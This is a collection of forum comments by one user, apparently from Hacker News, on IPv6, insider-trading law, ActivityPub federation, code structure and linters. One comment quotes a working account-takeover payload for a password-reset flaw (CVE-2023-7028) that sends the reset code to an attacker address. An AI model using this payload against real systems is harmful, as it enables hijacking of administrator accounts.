nightpool

Which parts are outdated? It mostly looks like an explanation of IPv6 networking fundamentals, such as how DHCPv6 works. I wouldn't expect those to change substantially based on OS version.

> "Non-public" in this context refers to information which would only be available to those with a fiduciary responsibility and/or a confidentiality obligation to the organization.

Right, but information available to those with a confidentiality obligation can still be traded on if acquired legally. That's the crucial point. It's not enough for it to be non-public and material, you must also be in breach of a fiduciary duty (or acting in concert with somebody who is). For example, if a Boeing CEO was at a coffee shop discussing an upcoming acquisition at the table next to you, you'd be able to trade on it, even though it was confidential information not available to the general public and obviously material to Boeing's stock price.

This is correct:

    The vulnerability lies in the management of emails when resetting passwords. An attacker can provide 2 emails and the reset code will be sent to both. It is therefore possible to provide the e-mail address of the target account as well as that of the attacker, and to reset the administrator password.
    
    Here's an example payload:
    
    user[email][]=my.target@example.com&user[email][]=hacker@evil.com

(per this POC github: https://github.com/Vozec/CVE-2023-7028)

It would be better to generate a user-and-codespaces-specific private key that would be safe to give to the user by checking out in the codespace so that you can use normal GPG signing flows.

Why does Github use the same GPG key for all users? Feels like it makes these kind of confused deputy attacks endemic to the entire platform rather than being contained to a single user account.

Looks like it has a focus indicator to me, although I can see why it might be confusing: https://imgur.com/a/Mc6A7Dn

Those are from different organizations, I think. So 5k from pytorch only but more from other orgs

Please look at the refrigerator I mentioned—it's definitely not the classic "mirror world" reflection that you'd normally see in video games. I'm talking about the specular / metallic highlights on the fridge being simulated entirely with depth features.

The refigerator in the NYC scene has a very slick specular lighting effect based on the angle you're viewing it from, and if you go "into" the fridge you can see it's actually generating a whole 3d scene with blurry grey and white colors that turn out to precisely mimic the effects of the light from the windows bouncing off the metal, and you can look "out" from the fridge into the rest of the room. Same as the full-length mirror in the bedroom in the same scene—there's a whole virtual "mirror room" that's been built out behind the mirror to give the illusion of depth as you look through it. Very cool and unique consequence of the technology

It's an example of fraudulent / malicious behavior found by decompiling industrial logic controllers, with incontrovertible evidence of illegality. Obviously no two situations are ever going to be the exact same, but I think it's clear why the analogy was made.

Most other programming languages are more composable than a SQL query. You can make functions, split logic into different classes, extract common logic, etc. Much harder with big sql queries

That's a good point. I was simply trying to clarify what the original commenter meant—I don't really have much of a horse in the race myself. I think the gmail ads are probably worse than spam in some ways and better than others. Like you say, they don't accumulate, and they're limited to the web client. But they're also based on much more detailed targeting and real-time bidding data that spam emails don't have access to—which ultimately might be much more harmful to privacy overall.

The fact that some Go libraries use struct-based deserialization for processing ActivityPub is frankly an implementation issue. Your language choice should not make a difference in how easy you find it to implement something. go-fed could have been implemented 10x more easily using maps, without having to resort to reams of code generation to implement things that dynamic languages implement "trivially".

My feeling is that nobody has given a serious AP C2S client implementation (where the narrowing / "squishing" happens on the client side, as defined by the spec, and the server-side is agnostic) a serious effort. It increases client complexity, yes, and there needs to be extensions to the AP spec to make it work, but I think there are a lot of benefits to it that haven't yet been fully explored.

I don't think the future of ActivityPub is locked-down implementations like Go that have super strict type safety rules. That's just at odds with what real decentralized protocols have proven to work (HTML, HTTP, SMTP, MIME—all have "open ended" extension mechanisms). I think a pluggable client infrastructure that allows multiple different "types" of clients to share the same agnostic backend server is a much stronger path forward for future development.

I just bought tickets on AA a few months ago with Firefox and didn't have any issues

Yes, Google displays ads in the "Promotions" tab that look like emails. It's not really "bypassing the spam filter" per se, but it's arguably much better than that.

By "the Mastodon API" I'm referring to the REST API used by Mastodon clients, not the activitypub "plus" API used by other servers to federate with them.

> FROM a Mastodon instance TO something like WriteFreely that isn't a Twitter clone

I understand that it may appear like that from a user perspective, but from a protocol perspective the ActivityPub representation is strictly more generic and extensible. Both directions (from mastodon and too mastodon) are very, very lossy. All mainstream servers (except maybe pleroma derivatives) do this kind of "squishing", which is a sad reality of client design and not what the ActivityPub spec was intended for

> The Fediverse is always described with that interconnected diagram where everything talks to each other over ActivityPub. But I never see that in practice.

Not sure what you mean by this—it definitely comes up a lot in practice. The top story on HN right now is an example of this in practice—it's a post from social.hackerspace.pl, which has been shared to all of the users followers on different servers. You can take a quick look at the list of reblogs on that post to see how many different servers users use: https://social.hackerspace.pl/@q3k/111528162462505087/reblog... I count 17 different servers in the first 20 users listed. Many of these are deployments of Mastodon or Akkoma, but they're all completely separate servers talking to each other over ActivityPub

> For example: If I have a mastodon.social account, how does that work with pixelfed.social or tube.jenna.net?

You can use your account and client on mastodon.social to follow accounts on tube.jenna.net and pixelfed.social. These accounts are displayed inside of the mastodon.social UI. You don't "sign up" for those instances in any way, they're just an integrated part of your following feed.

> How do the clients handle the fact that they are different services?

There is no special logic needed from clients. For Mastodon specifically, the local server that you're following from will handle the logic of translating the ActivityPub JSON sent by other services into the more limited "Mastodon API" format that clients expect. This has pros and cons—it means that clients are able to handle a more limited and predictable set of posts, but it also means that some remote content gets "squished" down into that format, just like e.g. viewing a blog inside of an RSS reader. Other clients generally use their own similar domain-specific API format

Try working on open source Minecraft projects. You will make these types of refactors monthly. The Bukkit/Spigot API has a 13 year pedigree, 10s of thousands of developers building against it, easily encompasses 1M+ lines of code across the whole codebase and needs to remain nimble in the face of unpredictable upstream changes. Watching the work some of these developers are able to pull off will definitely give you a healthy appreciation of what sorts of refactors are possible when you commit to them.

> or is unavoidable (IaC/build scripts, shell/sql/migration scripts, config files, etc.

This is a failure of the tooling in question. We shouldn't accept shoddily built tooling as an acceptable justification for unreadable codebases. Obviously, there are tradeoffs and sometimes you just need to get the tool out the door, but when a particular tool (like a professional IaC project) becomes some people's primary programming languages, then treating those languages like second class citizens who "unavoidably" are going to just be awful to work with is just limiting the growth of the tool as a whole. Terraform modules are a great example of this—all that ceremony and hassle just for what is effectively a single function call! If Terraform had single-file modules and a better import system than "relative file paths", I'd expect we'd see a lot more Terraform code bases with smaller root module files.

The author didn't put any effort into actually trying to articulate a concrete example of a system that was already well-architectured but also needed section headers. All of the examples they brought up would be better-served by more sensible refactors that didn't go to one extreme (4 line files) or the other (2000 line files). I'm sure there are rare files where having section header comments really is helpful, but personally I've never found it a useful way to organize my code, even in >500k LoC projects.

The overall advice here (add comments to your code to delineate different 'sections" of a file) is ultimately a bad hack to deal with the fact that your codebase is not structured well into function / modules / classes with a single responsibility and the right level of composition. Refactor your codebase to put the related code together, and then this "problem" will disappear and your code will be much easier to change in the future

I think there are sensible reasons people don't like using unlabeled, whitespace-delimited formats that require an ascii-art diagram to explain in the modern day.

Just a normal yaml file...? Why go through the complexity of putting it in another codebase when you can just make a single config file?

There are probably some benefits of using the Deno.cron syntax for some functions, and benefits of using a config file for others, but acting like the only other option is "put it in a completely seperate codebase" doesn't make any sense to me.

Weirdly I see that changing the "Projectile" selection to "P3" and then back to the original "P4" made the range drop way down, even though the new value was identical to the old value. But changing the "Main Axel" value made it jump way back up: https://imgur.com/a/boo5Xw3

So maybe some kind of "non-functional"/reused state issue exists regardless?

The "Sorry" page is a standard HN error message that shows up when the server is under high load, it has nothing to do with this link specifically

Why does the video get cropped when you activate full-screen? Is this something that Chrome does automatically, or something in the CSS of the website? https://imgur.com/a/bZdZ2sl

Training data should only ever contain public or non-sensitive data, yes, this is well-known and why ChatGPT, Bard, etc are designed the way they are. That's why the ability to have a generalizable model that you can "prompt" with different user-specific context is important.

commodities don't come with an "off switch" that the "original owner" can flip if they don't like the things you're purchasing with them.

Well, luckily this is a post about linters...? I'm not sure I understand your comment. How is it related to the article?

Just remove the conditional? If you ever need it back, git is your friend. Or comment it out or something if you really want to keep your code messy, I'm not your mom. But I don't see any reason why `if (true)` would be better then `// if (!isAdmin(user)) {`

Well, then presumably it would be nice to have your linter point that out for you so that you don't commit it to the codebase on accident! I've definitely seen a few of those kinds of things accidentally left in in production, which is definitely a code smell